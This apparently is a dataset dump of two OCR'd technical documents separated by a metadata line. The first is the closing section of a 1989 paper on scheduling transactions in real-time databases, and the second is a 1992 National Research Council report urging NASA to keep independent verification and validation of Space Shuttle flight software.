**Effect of Fraction of Pages Updated** The value of Update, by controlling the size of the read and write sets, impacts the probability of conflict between two concurrent transactions. The value of Update, by determining the size of the write set, also contributes to the IO load of the system. This is because updates are written to disk after a transaction commits.
In this experiment we varied the value of Update from 0.2 to 0.8 in increments of 0.1. When Update = 0.2, only 20% of a transaction’s pages are locked exclusively. When Update = 0.8 80% of the pages accessed by a transaction are updated. The other parameters had the values shown in Tables 1 and 2. In this experiment the IO load varies from 0.49 to 0.91.
Figure 8 shows the four different types of concurrency control with the ED priority policy and with IO scheduling done by priority. The general shape of the curves is as expected: when Update is large, the performance is poor because the rate of conflict is high and because the overall IO load is high. As we saw earlier ED performs best with the concurrency strategies W and WP which cause fewer restarts than HP and CR. When Update is small, the conflict rate is lower and all algorithms perform equally well.
Figure 9 plots ED/W and ED/WP with priority IO scheduling against ED/W and ED/WP with FIFO IO scheduling. Somewhat surprising is the result that the versions with IO scheduling perform worse than the versions without IO scheduling in the high update (right side) and thus high IO load part of the scale. The result is explainable, however, when we note that at this end of the scale most of the IO, roughly 62%, consists of writing modified pages back to disk. As we discussed in Section 3, giving high priority to writes can delay the service of read requests with lower priorities. One conclusion we can draw from this is that it may be advisable to give IO writes lower priorities than reads. We do not investigate this issue any further in this paper.
**Performance Under a Sudden Load Increase** In the previous experiments, we studied the performance of the various algorithms under an increasing but steady load. In this experiment we study the algorithms under a different type of load increase namely a batch of arrivals in an otherwise idle system. To simulate this input step function we programmed the simulator so that a set of transactions arrived all at the same time. The system then executed all the jobs in the set. The number of jobs in the set varied from 20 to 60 in steps of 10. The parameters controlling job characteristics were the same as shown in tables 1 and 2 except for the following differences: Pages = 10, CompFactor = 10, and MaxSlack = 30. The major difference here is the change in MaxSlack. This was necessary to produce a set of transactions with a large amount of variability in deadlines.
In reality, we would not expect all jobs in an overload to arrive at the same instant, nor would we expect the system to be completely idle at this time. However, our idealized step function model lets us study the impact of an overload without distracting second order effects. If an algorithm performs well under a step function, we could also expect it to do well in a system that has plenty of spare capacity under normal circumstances but is suddenly faced with a flurry of jobs (e.g., a radar system facing a sudden all-out enemy attack).
A good strategy for operation in this situation might be to employ an overload management policy to abort transactions which have missed their deadlines. If these transactions must be executed anyway then they should be restarted only after the spike has passed. We may also want to limit priority inversions from occurring. The reasoning is that if a high priority job blocks, it will almost certainly miss its deadline if forced to wait on a low priority job. Instead we may want to abort the low priority job and restart it later when the load has decreased.
Figure 10 shows the four different concurrency control policies for both the ED and LS priority assignment policies. IO scheduling is done according to job priority. It is easy to see that ED/HP is clearly the best algorithm. HP is also the best version of the LS algorithms. The same
results were observed when no overload management policy was used, although the effect was not as pronounced.
**Effect of IO Scheduling** In this experiment we compared the versions of scheduling algorithms which use transaction priorities to schedule IO requests against versions which service IO requests using FIFO. To better study the effects, we changed the base values of three parameters to create a configuration where the disks are much more loaded than the CPU. The parameters and the new values were: Pages = 13, CompFactor = 5, and Update = 0.2. (The other parameters had the values shown in Tables 1 and 2.) Thus the average transaction reads more pages and does less computation. The fraction of pages updated is less so the disks service more read requests than writes. The system load was varied by increasing the arrival rate from 6 jobs/sec to 8 jobs/sec in steps of 0.5. Hence, the CPU utilization varied from 0.39 to 0.52, and the IO utilization varied from 0.68 to 0.91.
Figure 11 plots the four algorithms which use LS and FIFO against the same four algorithms using LS and Priority IO scheduling. The results clearly show that using transaction priorities to schedule IO requests can yield significant performance improvements over scheduling using FIFO. This is especially true for the two concurrency algorithms which use promotion, i.e., WP and CR. This is understandable since a transaction which inherits the higher priority of a blocking transaction will receive better service from the disk and will execute faster. This unblocks the high priority transaction sooner, and it has a better chance of meeting its deadline.
Priority is better than FIFO but both methods ignore disk head position and do not minimize the average seek time. Would a disk scheduling algorithm which minimizes average seek time, (e.g., SCAN) but is ignorant of transaction time constraints, yield better performance in a real-time system than our algorithm which considers transaction time requirements? We cannot answer this question directly but we have performed an experiment which indicates how much faster the average seek time of a SCAN type algorithm would have to be for it to match the real-time performance of our Priority algorithm. In this experiment we fixed the parameter settings at the values they had in the previous experiment and set ArrRate = 8 job/sec. Then we increased the speed of the disks by decreasing the value of IOtime from the initial 25 ms. to 20 ms. in steps of 1. Figure 12 plots the performance of LS/ WP/FIFO, which, like a SCAN type algorithm, does not use transaction priorities for IO scheduling. The horizontal line is the performance of LS/ WP/Priority when IOtime = 25 ms. The two curves intersect at IOtime = 22.8ms indicating that a SCAN type algorithm must have an average seek time roughly 9% less than Priority in order for it to yield comparable real-time performance. Of course it is possible to design a SCAN type algorithm which also uses transaction priorities, but we have not investigated this possibility.
6. Conclusions
In this paper we have presented various transaction scheduling options for a real-time database system. Our simulation results have illustrated the tradeoffs involved, at least under one representative database and transaction model. Before reaching some general conclusions, we would like to make two observations.
The first observation is that our base parameters represent a high load scenario. One could argue that such a scenario is "unrealistic." However, we believe that for designing real-time schedulers, one must look at precisely these high load situations. Even though they may not arise frequently, one would like to have a system that misses as few deadlines as possible when these peaks occur. In other words, when a "crisis" hits and the database system is under pressure is precisely when making a few extra deadlines could be most important [8].
It could also be argued that some of the differences between the various scheduling options are not striking. In many cases, the difference between one option and another one is a few percentage points. If we were discussing transaction response times, then a say 10 percent improvement would not be considered impressive by some. However, our graphs show missed deadlines (in most cases) and we believe that this is a very different situation. Again, the difference between missing even one deadline and not missing it could be significant. Thus, if we do know that some scheduling options reduce the number of missed deadlines, why not go with the best one?
And which are the best options? It is difficult to make any absolute statements, but we believe the following statements hold under most of the parameter ranges we tested. (All our additional results not shown in this paper also substantiate these statements.)
When the load is continuous and steady:
(a) Of the tested priority policies for real-time database systems, Least Slack (LS) is the best overall. It always performed better than FCFS, and was better than ED under the higher load ranges. Earliest deadline (ED) is the second choice for assigning priorities.
(b) Of the concurrency control policies we tested, Wait Promote (WP) is the best overall. It performs very well when combined with either LS or ED. Conditional Restart (CR) is the second choice for LS. CR also performs well with ED at low loads but poorly at high loads. Wait is the second choice for ED. High Priority (HP) does not do well with either LS or ED.
(c) Although LS performed better at minimizing the number of late transactions, ED is the best choice for minimizing the mean tardy time of committed transactions.
(d) When the IO system is heavily loaded, using real-time transaction priorities to schedule IO requests yields significant performance gains over scheduling IO requests in a FIFO manner.
(e) Using continuous evaluation to implement LS yields better performance when the load is low. Static evaluation achieves better performance when the load is high. Also, static evaluation is less sensitive to error in the runtime estimate than is continuous evaluation.
When the load is an "input step function":
(f) ED is the best priority policy to use. It performs better than LS at the higher load settings for three of the four concurrency control policies.
(g) HP is the best concurrency control policy. It is the best of the four when combined with either ED or LS. The second and third choices for concurrency are CR and WP.
Acknowledgments
The authors thank the referees for their helpful comments. This research was supported by the Defense Advanced Research Projects Agency of the Department of Defense and by the Office of Naval Research under Contracts Nos. N00014-85-C-0456 and N00014-85-K-0465, and by the National Science Foundation under Cooperative Agreement No. DCR-8420948. The views and conclusions contained in this document are those of the authors and should not be interpreted as necessarily representing the official policies, either expressed or implied, of the Defense Advanced Research Projects Agency or the U.S. Government.
References
Figure 1. FCFS, ED, and LS each with W and WP.
Figure 2. FCFS, ED, and LS each with HP and CR.
Figure 3. ED vs LS, each with W, WP, HP, CR.
Figure 4. FCFS/WP, ED/WP, and LS/WP.
Figure 5. LS/wp and LS/CR under static and continuous evaluation.
Figure 6. LS/W, LS/WP, and LS/HP under static evaluation.
|
{"Source-Url": "http://www.vldb.org/conf/1989/P385.PDF", "len_cl100k_base": 11149, "olmocr-version": "0.1.49", "pdf-total-pages": 12, "total-fallback-pages": 0, "total-input-tokens": 37282, "total-output-tokens": 12361, "length": "2e13", "weborganizer": {"__label__adult": 0.00032901763916015625, "__label__art_design": 0.0003230571746826172, "__label__crime_law": 0.0003888607025146485, "__label__education_jobs": 0.0015811920166015625, "__label__entertainment": 0.0001239776611328125, "__label__fashion_beauty": 0.00018537044525146484, "__label__finance_business": 0.0009317398071289062, "__label__food_dining": 0.00032782554626464844, "__label__games": 0.00091552734375, "__label__hardware": 0.0033550262451171875, "__label__health": 0.0006861686706542969, "__label__history": 0.0003688335418701172, "__label__home_hobbies": 0.00014638900756835938, "__label__industrial": 0.0009140968322753906, "__label__literature": 0.0002770423889160156, "__label__politics": 0.00034332275390625, "__label__religion": 0.00044655799865722656, "__label__science_tech": 0.322265625, "__label__social_life": 0.00010001659393310548, "__label__software": 0.031005859375, "__label__software_dev": 0.6337890625, "__label__sports_fitness": 0.00023686885833740232, "__label__transportation": 0.0007562637329101562, "__label__travel": 0.00020766258239746096}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 55843, 0.01466]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 55843, 0.36555]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 55843, 0.93854]], "google_gemma-3-12b-it_contains_pii": [[0, 4569, false], [4569, 10569, null], [10569, 16730, null], [16730, 22334, null], [22334, 28081, null], [28081, 34166, null], [34166, 40185, null], [40185, 46151, null], [46151, 52053, null], [52053, 55537, null], [55537, 55843, null], [55843, 55843, null]], "google_gemma-3-12b-it_is_public_document": [[0, 4569, true], [4569, 10569, null], [10569, 16730, null], [16730, 22334, null], [22334, 28081, null], [28081, 34166, null], [34166, 40185, null], [40185, 46151, null], [46151, 52053, null], [52053, 55537, null], [55537, 55843, null], [55843, 55843, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 55843, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 55843, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 55843, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 55843, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 55843, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 55843, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 55843, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 55843, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 55843, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 55843, null]], "pdf_page_numbers": [[0, 4569, 1], [4569, 10569, 2], [10569, 16730, 3], [16730, 22334, 4], [22334, 28081, 5], [28081, 34166, 6], [34166, 40185, 7], [40185, 46151, 8], [46151, 52053, 9], [52053, 55537, 10], [55537, 55843, 11], [55843, 55843, 12]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 55843, 0.14362]]}
|
olmocr_science_pdfs
|
2024-11-25
|
2024-11-25
|
f9811ec44eb409a6f56734ea34273aeba18b1892
|
Independent Verification and Validation for Space Shuttle Flight Software
Committee for Review of Oversight Mechanisms for Space Shuttle Flight Software Processes
Aeronautics and Space Engineering Board
Commission on Engineering and Technical Systems
National Research Council
July 1992
NOTICE: The project that is the subject of this report was approved by the Governing Board of the National Research Council, whose members are drawn from the councils of the National Academy of Sciences, the National Academy of Engineering, and the Institute of Medicine. The members of the panel responsible for the report were chosen for their special competencies and with regard for appropriate balance.
This report has been reviewed by a group other than the authors according to procedures approved by a Report Review Committee consisting of members of the National Academy of Sciences, the National Academy of Engineering, and the Institute of Medicine.
The National Academy of Sciences is a private, nonprofit, self-perpetuating society of distinguished scholars engaged in scientific and engineering research, dedicated to the furtherance of science and technology and to their use for the general welfare. Upon the authority of the charter granted to it by the Congress in 1863, the Academy has a mandate that requires it to advise the federal government on scientific and technical matters. Dr. Frank Press is president of the National Academy of Sciences.
The National Academy of Engineering was established in 1964, under the charter of the National Academy of Sciences, as a parallel organization of outstanding engineers. It is autonomous in its administration and in the selection of its members, sharing with the National Academy of Sciences the responsibility for advising the federal government. The National Academy of Engineering also sponsors engineering programs aimed at meeting national needs, encourages education and research, and recognizes the superior achievements of engineers. Dr. Robert M. White is president of the National Academy of Engineering.
The Institute of Medicine was established in 1970 by the National Academy of Sciences to secure the services of eminent members of appropriate professions in the examination of policy matters pertaining to the health of the public. The Institute acts under the responsibility given to the National Academy of Sciences by its congressional charter to be an adviser to the federal government and, upon its own initiative, to identify issues of medical care, research, and education. Dr. Kenneth I. Shine is president of the Institute of Medicine.
The National Research Council was organized by the National Academy of Sciences in 1916 to associate the broad community of science and technology with the Academy's purposes of furthering knowledge and advising the federal government. Functioning in accordance with general policies determined by the Academy, the Council has become the principal operating agency of both the National Academy of Sciences and the National Academy of Engineering in providing services to the government, the public, and the scientific and engineering communities. The Council is administered jointly by both Academies and the Institute of Medicine. Dr. Frank Press and Dr. Robert M. White are chairman and vice-chairman, respectively, of the National Research Council.
This study was supported by Contract NASW-4003 between the National Academy of Sciences and the National Aeronautics and Space Administration.
Available in limited supply from
The Aeronautics and Space Engineering Board
2101 Constitution Avenue, N.W.
Washington, D.C. 20418
Printed in the United States of America
COMMITTEE FOR REVIEW OF OVERSIGHT MECHANISMS FOR SPACE SHUTTLE FLIGHT SOFTWARE PROCESSES
Nancy G. Leveson, Chairperson, Professor of Computer Science, The University of California, Irvine
Robert N. Charette, Chairman, ITABHI Corporation, Arlington, Virginia
B. A. Clausses, Executive Vice President, CTA INCORPORATED, Denver, Colorado
Carl S. Droste, Engineering Manager, Flight Control Systems Section, General Dynamics, Fort Worth, Texas
Roger U. Fujii, Operations Manager, Systems Technology Operation, Logicon, San Pedro, California
John D. Gannon, Professor of Computer Science, The University of Maryland, College Park, Maryland
Richard A. Kemmerer, Professor of Computer Science, The University of California, Santa Barbara
Robert O. Polvado, Senior Scientist, Office of Research and Development, Central Intelligence Agency, Arlington, Virginia
Willis H. Ware, Senior Member, Corporate Research Staff, The RAND Corporation, Santa Monica, California
Wallace H. Whittier, Program Engineering Manager, Lockheed Missiles and Space Company, Sunnyvale, California
Staff
Martin J. Kaszubowski, Study Director
JoAnn C. Clayton, Director, Aeronautics and Space Engineering Board
Christina A. Weinland, Senior Project Assistant
AERONAUTICS AND SPACE ENGINEERING BOARD
Duane T. McRuer, Chairman, President and Technical Director, Systems Technology, Inc., Hawthorne, California
James M. Beggs, Senior Partner, J.M. Beggs Associates, Arlington, Virginia
Richard G. Bradley, Director, Flight Sciences, General Dynamics/Ft. Worth Division, Ft. Worth, Texas
Robert H. Cannon, Jr., Charles Lee Powell Professor and Chairman, Department of Aeronautics and Astronautics, Stanford University, Stanford, California
Eugene E. Covert, Professor, Department of Aeronautics and Astronautics, Massachusetts Institute of Technology, Cambridge
Ruth M. Davis, President and Chief Executive Officer, Pymatuning Group, Inc., Alexandria, Virginia
Wolfgang H. Demisch, Managing Director, UBS Securities, New York, New York
Owen K. Garriott, Vice President, Space Programs, Teledyne Brown Engineering, Huntsville, Alabama
John M. Hedgepeth, Consultant and Retired President, Astro-Aerospace Corporation, Santa Barbara, California
Robert G. Loewy, Institute Professor, Aeronautical Engineering and Mechanics, Rensselaer Polytechnic Institute, Troy, New York
John M. Logsdon, Director, Center for International Science and Technology Policy, Space Policy Institute, George Washington University, Washington, D.C.
Frank E. Marble, Richard L. Hayman and Dorothy M. Hayman Professor of Mechanical Engineering and Professor of Jet Propulsion, Emeritus, California Institute of Technology, Pasadena
Garner W. Miller, Retired Senior Vice President for Technology, USAir, Naples, Florida
Franklin K. Moore, Joseph C. Ford Professor of Mechanical Engineering, Cornell University, Ithaca, New York
Harvey O. Nay, Retired Vice President of Engineering, Piper Aircraft Corporation, Vero Beach, Florida
Frank E. Pickering, Vice President and Chief Engineer, Aircraft Engines, General Electric Company, Lynn, Massachusetts
Anatol Roshko, Theodore von Karman Professor of Aeronautics, California Institute of Technology, Pasadena
Maurice E. Shank, Consultant and Retired Vice President, Pratt and Whitney of China, Inc., Bellevue, Washington
Thomas P. Stafford, Vice Chairman, Stafford, Burke, and Hecker, Inc., Alexandria, Virginia
Martin N. Titland, Chief Operating Officer, CTA INCORPORATED, Rockville, Maryland
Albertus D. Welliver, Corporate Senior Vice President, Engineering and Technology, The Boeing Company, Seattle, Washington
Aeronautics and Space Engineering Board Staff
JoAnn C. Clayton, Director
Martin J. Kaszubowski, Senior Program Officer
Allison C. Sandlin, Senior Program Officer
Noel E. Eldridge, Program Officer
Anna L. Farrar, Administrative Associate
Christina A. Weinland, Administrative Assistant
Susan K. Coppinger, Senior Secretary
Maryann Shanesy, Senior Secretary
Independent Verification and Validation for Space Shuttle Flight Software
EXECUTIVE SUMMARY
The Committee for Review of Oversight Mechanisms for Space Shuttle Flight Software was asked by the National Aeronautics and Space Administration's (NASA) Office of Space Flight to determine the need to continue independent verification and validation (IV&V) for Space Shuttle flight software.\(^1\) The Committee found that the current IV&V process is necessary to maintain NASA's stringent safety and quality requirements for man-rated vehicles. Therefore, the Committee does not support NASA's plan to eliminate funding for the IV&V effort in fiscal year 1993. The Committee believes that the Space Shuttle software development process is not adequate without IV&V and that elimination of IV&V as currently practiced will adversely affect the overall quality and safety of the software, both now and in the future. Furthermore, the Committee was told that no organization within NASA has the expertise or the manpower to replace the current IV&V function in a timely fashion, nor will building this expertise elsewhere necessarily reduce cost. Thus, the Committee does not recommend moving IV&V functions to other organizations within NASA unless the current IV&V is maintained for as long as it takes to build comparable expertise in the replacing organization.
INTRODUCTION
In early 1991, NASA's Office of Space Flight commissioned the Aeronautics and Space Engineering Board of the National Research Council (NRC) to investigate the adequacy of the current process by which NASA develops and verifies Space Shuttle flight software. In January 1992, the Board convened the Committee for Review of Oversight Mechanisms for Space Shuttle Flight Software Processes to evaluate the adequacy of the process from initial requirements definition to final machine loading. The Committee was given until the end of 1992 to complete its investigation and prepare a final report.
One of the issues the Space Shuttle program office requested that the Committee specifically consider was the office's pending decision to eliminate the IV&V function currently
\(^1\) It should be noted that the Committee was specifically asked not to evaluate the performance of the current IV&V contractor, Intermetrics, or its subcontractor at the Marshall Space Flight Center, Smith Advanced Technologies, but rather to concentrate on the need to continue the function they serve.
performed on the Shuttle flight software at an annual cost of $3.2 million. The IV&V function was instituted, in part, as a result of a recommendation of a previous NRC committee evaluating post-Challenger Space Shuttle risk assessment and management. The Shuttle program office now believes that the flight software and the processes that are used to develop and verify updates are sufficiently mature to permit a phase-out of the contractors that perform IV&V. Eliminating this function is primarily a cost-saving move, but one that the Shuttle program office believes is justified by the overall quality of the processes and personnel that are in place to maintain the software. In short, the Shuttle program office believes that the process is adequate without IV&V and the money may be better spent in other ways.
Because the IV&V function is currently scheduled to be eliminated by October 1992, the Office of Space Flight requested that the Committee first address whether there is a need to continue this function and later address other aspects of the flight software development process. Thus, the Committee focused on this issue in its first four meetings, and this report addresses the Committee’s findings and conclusions on this one issue. The final report, which will examine other aspects of the flight software development process, will be available near the end of 1992.
BACKGROUND
Flight software is defined as the software that is loaded into the on-board computers for control of the Shuttle during launch, on-orbit operations, entry, and landing. The primary flight software consists of approximately 500,000 lines of source code in almost 400 compilable units, while the backup software is approximately 90,000 lines of code. The software has evolved over many years of operation to require a complex maintenance and upgrade process involving numerous contractor and NASA organizations at a cost of well over $100 million per year.2 Upgrades are performed on a continuing basis (approximately one per year) to provide new functions and to fix the errors that are still being identified. Because it controls so many aspects of the Shuttle’s operations, flight software is deemed by the Shuttle program to be a critical item for safety and reliability.
Following the Challenger accident in 1986, a number of assessments were made of the overall safety of the Shuttle program, many of which addressed software verification and validation as part of their investigations. These included evaluations by the Rogers Commission; an NRC committee; the House of Representatives’ Committee on Science, Space, and Technology; and the General Accounting Office (GAO).
---
2 The Committee was told that the yearly cost for the flight software development contractors (new development, maintenance, software configuration control, etc.) was approximately $60 million. Operation of the Shuttle Avionics Integration Laboratory, which is used to test the flight software, requires approximately $24 million per year. This total does not include costs for software reconfiguration, development and maintenance of Space Shuttle Main Engine software, and other support contractors.
The Rogers Commission\(^3\) concentrated on the direct causes of the Challenger accident, but Appendix F of their report included a statement by Richard Feynman, one of the members of the commission, that pertained specifically to the flight software, "... there have been recent suggestions by [NASA] management to curtail ... elaborate and expensive tests as being unnecessary at this late date in Shuttle history. This must be resisted, for it does not appreciate the mutual subtle influences and sources of error generated by even small changes to one part of a program on another."\(^4\)
Among the recommendations of the Rogers Commission was that NASA review certain aspects of its Shuttle risk assessment effort and "... identify those items that must be improved prior to flight to ensure mission success and flight safety." It further recommended that an audit panel be appointed by the NRC to verify the adequacy of the effort and report directly to the Administrator of NASA.
This audit panel was convened by the Aeronautics and Space Engineering Board of the NRC in 1986, and its final report, dated January 1988, concluded that "In general, hardware certification and verification, and software validation and verification in STS [Space Transportation System] are managed and conducted primarily by the same organizational elements responsible for the design and fabrication of the units. Thus, the independence of the certification, validation, and verification processes is questionable. For example, ... 'Independent' validation and verification (IV&V) of software is carried out by the same contractor (IBM) that produces the STS software, with some checks being made by the Johnson Space Center."\(^5\)
The NRC committee recommended that "Responsibility for approval of hardware certification and software IV&V should be vested in entities separate from the NSTS [National Space Transportation System] Program structure and the centers directly involved in STS development and operation."
In March 1988, the House Committee on Science, Space, and Technology, echoing the concerns expressed in the NRC report, recommended that NASA establish IV&V to evaluate the development and modification of Shuttle software. Based on these two recommendations, in May 1988 NASA expanded an existing contract with Intermetrics, Inc., and instituted the current IV&V function. The original IV&V contract with Intermetrics supported 40 people; recently, the support has been reduced to 24 people, at an approximate annual cost of $3.2 million. Table 1 shows the functions that were encompassed by the original 40-person effort and the corresponding functions addressed by the present, reduced level of effort. The current plan by NASA will completely eliminate IV&V for all the functions shown in Table 1.
In February 1990, the House Committee requested that the GAO determine NASA's
---
TABLE 1 Functions Covered by the IV&V Contractors
<table>
<thead>
<tr>
<th>IV&V Functions</th>
<th>IV&V Functions at Start of IV&V Contract (40 full-time workers)</th>
<th>Current IV&V Functions (24 full time workers)</th>
</tr>
</thead>
<tbody>
<tr>
<td>Ascent guidance, navigation, and control</td>
<td>X</td>
<td>X</td>
</tr>
<tr>
<td>Entry guidance, navigation, and control</td>
<td>X</td>
<td>X</td>
</tr>
<tr>
<td>On-Orbit guidance, navigation, and control</td>
<td>X</td>
<td>X</td>
</tr>
<tr>
<td>Sequencing</td>
<td>X</td>
<td></td>
</tr>
<tr>
<td>Data processing system</td>
<td>X</td>
<td>X</td>
</tr>
<tr>
<td>Main engine controller</td>
<td>X</td>
<td></td>
</tr>
<tr>
<td>Systems management/payload</td>
<td>X</td>
<td></td>
</tr>
<tr>
<td>Redundancy management</td>
<td>X</td>
<td></td>
</tr>
<tr>
<td>Launch processing systems</td>
<td>X</td>
<td></td>
</tr>
<tr>
<td>Documentation-only Change Requests</td>
<td>X</td>
<td></td>
</tr>
<tr>
<td>Flight software tools</td>
<td>X</td>
<td></td>
</tr>
<tr>
<td>Reconfiguration</td>
<td>X</td>
<td></td>
</tr>
<tr>
<td>Downlist</td>
<td>X</td>
<td></td>
</tr>
<tr>
<td>I-Load to K-load Change Requests</td>
<td>X</td>
<td></td>
</tr>
<tr>
<td>"Living" Change Requests</td>
<td>X</td>
<td></td>
</tr>
</tbody>
</table>
SOURCE: Intermetrics
progress in improving independent oversight of Shuttle software development. The GAO report, dated February 1991, recommended that NASA "require independent V&V [Verification and Validation] for Shuttle software, bearing in mind the views of the NRC, the House Committee, the [NASA Space Shuttle] software steering group, and NASA-wide guidance, and ensure that the independent V&V organization is outside the control of the Shuttle program office."
In requesting the current review of the IV&V process, the Shuttle program office has stated that if funding were not an issue they would continue with a robust IV&V program. However, if it can be shown that the current implementation of IV&V does not appreciably reduce risk, or that its cost cannot be justified by the risk it avoids, it can reasonably be eliminated. The Shuttle program office does not believe that these issues were adequately addressed by previous studies, which did not have the benefit of recent efforts to document the current V&V process.
To investigate the question of whether to continue IV&V, the Committee heard
---
7 The software steering group consisted of officials from the Johnson Space Center, the Kennedy Space Center, the Marshall Space Flight Center, NASA Headquarters, the software development contractors, and the Space Transportation System Operations Contractor. The group met once to address the need to bring about changes in NASA's software development and assurance processes but did not produce formal recommendations.
presentations from the Shuttle program office, the software development contractors, the current IV&V contractors, and several outside organizations and experts, including the U. S. Air Force and Navy. The Committee also reviewed extensive documentation and data provided by NASA and the contractors describing both the independent and "embedded" verification and validation processes. The following sections present the findings of the Committee along with a recommendation regarding the continuation of IV&V on the Shuttle software. It should be noted that the Committee was specifically asked not to evaluate the performance of the current IV&V contractor, Intermetrics, or its subcontractor at the Marshall Space Flight Center, Smith Advanced Technologies, but rather to concentrate on the need to continue the function the contractors serve. This proved to be a difficult restriction because the argument for continued IV&V hinges partly on the capabilities these two companies bring to the process.
Based on this investigation, the Committee concluded that the current IV&V process is necessary to maintain NASA's stringent safety and quality requirements for man-rated vehicles. Therefore, the Committee does not support NASA's plan to eliminate funding for the IV&V effort in fiscal year 1993. The Committee believes that the Space Shuttle software development process is not adequate without IV&V and that elimination of IV&V as currently practiced will adversely affect the overall quality and safety of the software, both now and in the future.
This report focuses solely on the need to continue IV&V. A complete discussion of the embedded process will appear in the Committee's final report. Regarding the issue of continuing IV&V, the Committee's evaluations are based on answers to the following questions:
1. Does the current approach to IV&V improve the quality of the software beyond what the embedded process alone provides?
2. Does the improvement justify the cost?
3. Will NASA's proposed alternatives to IV&V provide the same benefits for a lower cost?
The following sections present the Committee's findings and recommendations with respect to these questions.
THE BENEFITS OF IV&V
The flight software development process is described in detail in a document recently prepared by Intermetrics and approved by the Space Shuttle program office. This document discusses what NASA calls its "embedded" process, which excludes the IV&V effort. It is the
---
8 The term "embedded V&V" was coined recently by the Shuttle program office in their argument to eliminate IV&V. In the Committee's judgement, it is equivalent to what is commonly referred to by industry as simply "verification and validation."
9 National Aeronautics and Space Administration, Space Shuttle Flight Software Verification and Validation Requirements, NSTS-08271 (Houston, Texas: Johnson Space Center, 1991).
understanding of the Committee that if the IV&V function were to continue, it would do so in addition to the embedded process described in the above document.
The embedded process provides a number of checks and rigorous configuration control mechanisms. Ultimately, however, the embedded process relies on the development contractors\(^\text{10}\) to perform their internal verification and validation correctly, and on an extensive set of system integration test simulations to expose any potential problems. Once a change to the software\(^\text{11}\) is agreed upon by all members of the flight software community, the development contractors perform their work according to their own established procedures. Later, when the development contractors have completed their internal tests, the software is released to the flight software community for additional testing. The Committee believes that the organizations involved are truly concerned with producing the best software possible and has found them willing to discuss any and all aspects of the process (within bounds of proprietary information) at any time. The Committee was particularly struck by the degree of teamwork that is shown in addressing problems and believes this emphasis on openness and consensus is one of the strengths of the process. Furthermore, the process is relatively mature and each organization knows its role and has much experience performing it. The Committee’s full report will include a complete discussion and evaluation of the embedded process.
In examining the need for continuing the IV&V function, the Committee identified four areas where the embedded process clearly benefits from the on-going independent technical assessment. The Committee believes that the current implementation of IV&V:
*Provides a broad perspective:* As mentioned above, the embedded process relies heavily on the development contractors (IBM, Rockwell, and Rocketdyne) to perform their internal verification and validation correctly. This is appropriate and reflects the approach used throughout the industry, as well as in the U. S. Air Force and Navy software development procedures. However, the development contractors have incentive to consider only those components with which they are specifically concerned. This lack of broad perspective makes it more likely that errors will slip through in areas that do not fit any particular organization’s responsibility. The IV&V function is specifically chartered to provide this broad perspective. For example, the current flight software IV&V contractor has been particularly active in addressing issues that relate to the interface between the primary avionics software (developed by IBM) and the backup flight software (developed by Rockwell) and has identified several potentially serious errors.
---
\(^{10}\) IBM is the development contractor for the primary avionics software system, Rockwell develops the backup flight software, and Rocketdyne is responsible for the main engine controller software.
\(^{11}\) Changes are implemented through Change Requests (CRs), which are requested to enhance the functionality of the software, and Discrepancy Reports (DRs), which describe errors in the software that require action.
\(^{12}\) The flight software community includes all the organizations within the Shuttle program that have an interest in the development, verification, or performance of the software. This includes representatives from the Mission Operations, Flight Crew, and Engineering Directorates at the Johnson Space Center; NASA’s Safety and Mission Quality Office; the software development contractors (IBM and Rockwell International); the operations contractors (also IBM and Rockwell); the Shuttle system design contractors (Lockheed and Charles Stark Draper Labs); and the IV&V contractor (Intermetrics). At the Marshall Space Flight Center, this includes the NASA personnel, the development contractor (Rocketdyne), and the IV&V contractor (Smith Advanced Technologies) that develop the Space Shuttle main engine controller software.
(discussed in the next section) that were not caught by the embedded process.
**Maintains vigilance over the quality of the process:** The Committee believes that the reliance on the development contractors to perform their internal process is appropriate. Also, except for the previous comment regarding a broad perspective, the embedded process includes numerous checks on the development contractor's products to ensure that safe, reliable software is produced. For these checks to work, however, they must continue to be performed with diligence, aggressiveness, skill, and integrity. Unfortunately, there is increasing risk that the quality of the software will degrade as it is changed. Over a long period of time, a mechanism that provides an independent technical review will significantly enhance the embedded process.
**Offsets the erosion of expertise:** Developing software, particularly software as complex and specialized as that for the Shuttle avionics, requires considerable specific expertise and correspondingly sophisticated tools. It is not enough to design a process that covers all aspects of the problem, the expertise and capabilities that are built up over a period of years need to be maintained.\(^\text{13}\) Many of the original developers of the Shuttle flight software have already gone on to other projects, and the perception that the flight software is mature indicates that in the future it will be difficult to retain many of the highly competent software engineers and managers that are currently involved in the process. According to statements by several of the NASA and contractor managers interviewed during the Committee's investigation, programs that involve a greater degree of new development, such as the Space Station Freedom and the National Launch System, will likely continue to attract experienced personnel away from the Shuttle program. Continued steps must be taken to maintain skills and provide additional checks on the process. Independent oversight is a partial solution, but only if the group that performs the oversight also provides a significant level of experience and technical capability.
**Avoids bias and peer pressure:** The emphasis on consensus that is evident in the embedded process is admirable, but the Committee believes it brings with it the possibility that individual assessments of important issues can be stifled through peer pressure, through the desire to protect organizational interests, or through the simple desire to make the process run smoothly. Furthermore, when a problem is recognized and an initial solution is proposed, particularly when it is proposed by a customer, it often serves to bias further thinking on the subject towards that initial solution. While the Committee has found no instances where this type of contamination or stifling has occurred, it believes that the risk is significant without some degree of oversight that is explicitly designed to be independent.
---
